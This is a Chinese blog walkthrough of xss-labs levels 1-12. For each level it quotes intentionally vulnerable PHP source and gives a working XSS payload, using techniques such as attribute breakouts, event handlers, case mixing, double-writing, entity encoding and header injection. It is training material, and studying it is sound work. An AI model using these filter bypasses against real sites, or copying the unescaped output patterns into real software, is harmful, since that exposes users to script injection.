xss-labs 1-12关

最新推荐文章于 2024-08-27 06:00:00 发布
最新推荐文章于 2024-08-27 06:00:00 发布
阅读量152 收藏
点赞数
分类专栏： Web安全 文章标签： xss 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46081990/article/details/130990289
版权

文章目录

0x01 未过滤

查看关键源码：
GET方式获取参数 name 的值并赋值给 $str，未对 $str 进行任何过滤便插入了 h2 标签里，而参数 name 用户可控，所以存在反射型XSS。

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

构造 payload，重新赋值参数 name：

<script>alert(1)</script>

在这里插入图片描述

0x02 构造闭合

查看关键源码：
GET方式获取参数 keyword 的值并赋值给 $str，插入 h2 标签时使用了 htmlspecialchars 函数对 $str 进行了处理（即将预定义的字符转换为 HTML 实体），而插入 input 标签时并未进行任何过滤，由此这里存在 XSS 漏洞。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

构造双引号的闭合以及标签的闭合，payload 如下：

"><script>alert(1)</script>//

在这里插入图片描述

0x03 构造JS事件1

查看关键源码：
与上一关不同的是，两处都使用了 htmlspecialchars 函数进行处理。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

构造 input 标签的一些特殊事件来执行 JS 代码，且考虑闭合单引号的闭合及标签的闭合，payload 如下：

' onclick=javascript:alert(1) >//

在这里插入图片描述

0x04 构造JS事件2

查看关键源码：
GET方式获取参数 name 的值并赋值给 $str，然后使用 str_replace 函数对其进行处理（将 > 和 < 替换为空），得到了 $str3
将 $str 使用 htmlspecialchars 函数进行处理后插入 h2 标签
将 $str3 直接插入了 input 标签

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

由于事件触发不需要用到 > 和 < ，所以可以继续使用上一关的 payload，只是这里考虑的是双引号的闭合，而非单引号

" onclick=javascript:alert(1) >//

在这里插入图片描述

0x05 其他标签触发JS事件

查看关键源码：
GET方式获取参数 name 并使用 strtolower 函数转为小写后赋值给 $str，然后使用 str_replace 函数对其进行处理，得到 $str3
（ <script 替换为 <scr_ipt，on 替换为 o_n）
将 $str 使用 htmlspecialchars 函数进行处理后插入 h2 标签
将 $str3 直接插入了 input 标签

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

考虑使用 a 标签或其他标签触发事件，构造 payload：

"> <a href=javascript:alert(1) > xss</a> //

在这里插入图片描述

0x06 大小写绕过

查看关键源码：
和上一关相比进行了更多的替换操作

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

由于没有使用 strtolower 函数转小写，考虑使用大小写绕过（HTML中对大小写不敏感），payload 如下：

"> <a HrEf=javascript:alert('xss') > xss</a> //

在这里插入图片描述

0x07 双写绕过

查看关键源码：
在上一关的基础上，使用了 strtolower 函数转小写，并且替换操作是替换为空。

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

由于替换为空的操作只执行了一次，并非循环，所以考虑双写绕过，payload 如下：

"> <a hhrefref=javascscriptript:alert(1) > xss</a> //

在这里插入图片描述

0x08 UNICODE编码绕过1

查看关键源码：
和之前的关卡略有不同，只是将经过 strtolower 和 str_replace 后的 $str7 插入了 a 标签里面。

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

显然，这里大小写和双写都不行，考虑 UNICODE 编码绕过，payload 如下：

原 payload：javascript:alert(1)
编码后：&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在这里插入图片描述

0x09 UNICODE编码绕过2

查看关键源码：
在上一关的基础上，增加了判断 keyword 参数里是否含有 “http://”

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

只需要在上一关的 payload 后面加上 http:// 即可，但是在UNICODE编码和http://之间需要加上 //，否则不会成功执行弹窗。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

在这里插入图片描述

0x10 hidden 输入框

查看关键源码：
与之前的关卡不同，这一关的 input 标签属性被设置为了 hidden，也就是隐藏。
首先是获取参数 keyword 的值赋值给 $str，插入 h2 标签时使用了 htmlspecialchars 函数进行处理，不存在 XSS
然后是获取参数 t_sort 的值赋值给 $str11，通过 str_replace 函数处理后得到 $str33，然后插入名为 t_sort 的 input 标签里，存在 XSS

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

构造 payload 使名为 t_sort 的 input 标签属性由 hidden 变为 text，并且构造事件触发XSS，如下：

?keyword=xxx&t_sort=" type="text" οnclick="alert('xss')

在这里插入图片描述

0x11 Referer字段

查看关键源码：
可以看到插入 h2 标签的 $str 和插入名为 t_sort 的 input 标签的 $str00 都使用了 htmlspecialchars 函数进行处理，不存在 XSS
但是观察到名为 t_ref 的 input 标签是直接插入 $str33，而 $str33 的值是 $_SERVER[‘HTTP_REFERER’] 经过 str_replace 处理后得到的

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="" type="text" οnclick=javascript:alert(1)>//" type="hidden">
</form>
</center>';
?>

由此可以抓包，修改 Referer 字段，构造 payload 如下：

" type="text" onclick=javascript:alert(1)>//

在这里插入图片描述
在这里插入图片描述

0x12 User-Agent字段

查看关键源码：
区别是这一关获取的是 $_SERVER[‘HTTP_USER_AGENT’]，上一关获取的是 $_SERVER[‘HTTP_REFERER’] ，其他都一样。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

抓包，修改 User-Agent 字段，构造 payload 如下：

" type="text" onclick=javascript:alert(1)>//

在这里插入图片描述

在这里插入图片描述

Ch4ser
关注
专栏目录
xss-labs-master.rar
05-09
"xss-labs-master.rar" 提供了一个针对XSS漏洞的专项练习平台，旨在帮助初学者及安全爱好者提升对XSS攻击的理解和防御能力。这个靶机资源共分为二十个关卡，由浅入深，逐步引导用户掌握XSS攻防的核心技巧。 一、XSS...
xss前十二关靶场练习
weixin_62870380的博客
09-02 907
xss漏洞原理，分类，以及xss漏洞靶场前十二关通关。
XSS-labs 1-13关通关攻略
qq_57861415的博客
01-31 1708
xsslabs 1-13关攻略
XSS LABS - Level 12 过关思路
最新发布
Blue17 の 小窝
08-27 1083
它提供了一系列快捷工具和功能，可以帮助用户执行各种网络攻击和测试，包括 XSS、SQL 注入、CSRF、XXE、路径穿越等漏洞，以下是 HackBar 插件的一些主要特点和功能：自定义请求发送：HackBar 允许用户自定义 HTTP 请求，并可以通过插件直接发送这些请求。User-Agent 同样是 HTTP 请求头的一部分，它的主要作用是向服务器提供关于发起请求的客户端（如浏览器、移动应用、爬虫等）的型号信息。例如，如果 User-Agent 表明请求来自一个爬虫或自动化工具，而该工具没有遵循网站的。
xss-labs/level12
m0_71299382的博客
11-29 251
xss-labs/level12
新手打 XSS-level(1-13) 靶场心得和总结
m0_73992753的博客
07-13 1097
新手学习 XSS-level(1-13)练级
XSS-labs1-20关通过手册
rumil的博客
09-21 2303
ng-include指令一般用于包含外部HTML文件，ng-include属性的值可以是一个表达式，返回一个文件名，但是默认情况下，包含的文件需要包含在同一域名下，也就是要调用同一域名下的其他网页。通过代码发现，本关卡有两个参数：arg01、arg02，当我们发送的时候，发现他们是会互相拼接起来的，那么我们就容易想到这里会不会就是突破口，发现这两个参数是在embed上，embed标签定义嵌入的内容，并且做了尖括号过滤，那么我们可以加入一个属性进去，生成恶意代码。被HTML实体编码了，成了实体字符。
xss-labs-master源码
07-06
"xss-labs-master"是一个专门设计的靶场，包含了20个级别的XSS练习，旨在帮助学习者深入理解和掌握XSS攻击的原理、类型以及防御策略。通过逐步解决这些精心设计的挑战，我们可以逐步提升对XSS攻击的理解，并提升安全...
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
`xss-labs-master.zip`包含了一个专门用于学习和实践XSS注入的通关游戏或靶场，对于网络安全测试人员来说，这是一个极好的学习资源。 **XSS分类** 1. **存储型XSS**：也称为持久型XSS，攻击者将恶意脚本存入服务器...
xss-labs.zip
03-18
XSS（Cross-Site Scripting）是一种常见的网络安全漏洞，它允许攻击者在用户浏览器中注入恶意脚本...记住，理解和掌握XSS防护措施对于任何Web开发者来说都是至关重要的，因为这直接影响到网站的用户体验和数据安全性。
XSS靶场通关详解（1-18关）
cz020907020808的博客
06-07 2305
家人们，因为xss靶场比较简单，有些地方说的比较笼统，过关很容易，只需要多尝试就可以，但是学好就难了！
xsslabs靶场通关（持续更新）
m0_72286569的博客
03-14 2290
本篇文章将介绍在xsslabs这个靶场中每一个关卡的详细通关策略，若有瑕疵还望客官多多担待。
xss-labs靶场通关
m0_70349048的博客
02-27 1352
我们发现，当我们更改name等于不同的值时，有不同的返回结果，因此在这里可能有xss漏洞然后直接进行测试，在name后面加入xss攻击语句。
xss-labs初学者通关详解1-18
m0_70483044的博客
11-14 3115
菜鸟都能看懂的新手教程~新手学习指南之xss-labs靶场通关!!错误的地方欢迎指正哦~
xss-labs通关攻略教程（level1~level 10(1)
m0_60388261的博客
03-18 1063
为了帮助大家更好温习重点知识、更高效的准备面试，特别整理了《前端工程师面试手册》电子稿文件。内容包括html，css，JavaScript，ES6，计算机网络，浏览器，工程化，模块化，Node.js，框架，数据结构，性能优化，项目等等。包含了腾讯、字节跳动、小米、阿里、滴滴、美团、58、拼多多、360、新浪、搜狐等一线互联网公司面试被问到的题目，涵盖了初中级前端技术点。前端面试题汇总开源分享：【大厂前端面试题解析+核心总结学习笔记+真实项目实战+最新讲解视频】JavaScript性能linux。
XSS闯关小游戏通关笔记
skynet_x的博客
10-29 1274
level1 — 无过滤 查看源码，没有任何的过滤。 直接在链接中构造最基本的XSS弹窗即可,弹窗内容为123. <script>alert(123)</script> level2 — input中未设置过滤 查看源码，发现在echo输出中有一个函数htmlspecialchars() htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。可以看成是对特定字符的过滤。 预定义的字符是： & （和号）成为 & " （双引号）成为 "
XSS靶场挑战
weixin_45585955的博客
03-29 1082
XSS靶场1-10关方法总结 第一关 里面没有任何可以点击或输入的地方，很明显唯一可输入的只有URL中。利用弹出方式函数alert，注入xss代码，在url里的？name参数后面添加。 <script>alert(/xss/)</script> 第二关 （1）利用鼠标移出函数onmouseout "afawef" onmouseout="alert(/xss/)" 鼠标移出会触发alert弹窗。 (2)利用onclick鼠标点击触发xss弹窗。在...
[网络安全]xss-labs level-12 解题详析
等风来
08-04 2438
str33为注入点，而str33由str11经过滤得到，str11为user agent。
XSS-Labs靶场教程：一键部署、轻松入门
资源摘要信息:"xss-labs靶场是一个针对跨站脚本攻击（XSS）的学习和实践平台。它被设计成一系列的挑战关卡，每个关卡都包含有源码，供学习者分析和攻击。通过实际操作这些关卡，学习者可以对XSS攻击的原理、种类和...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值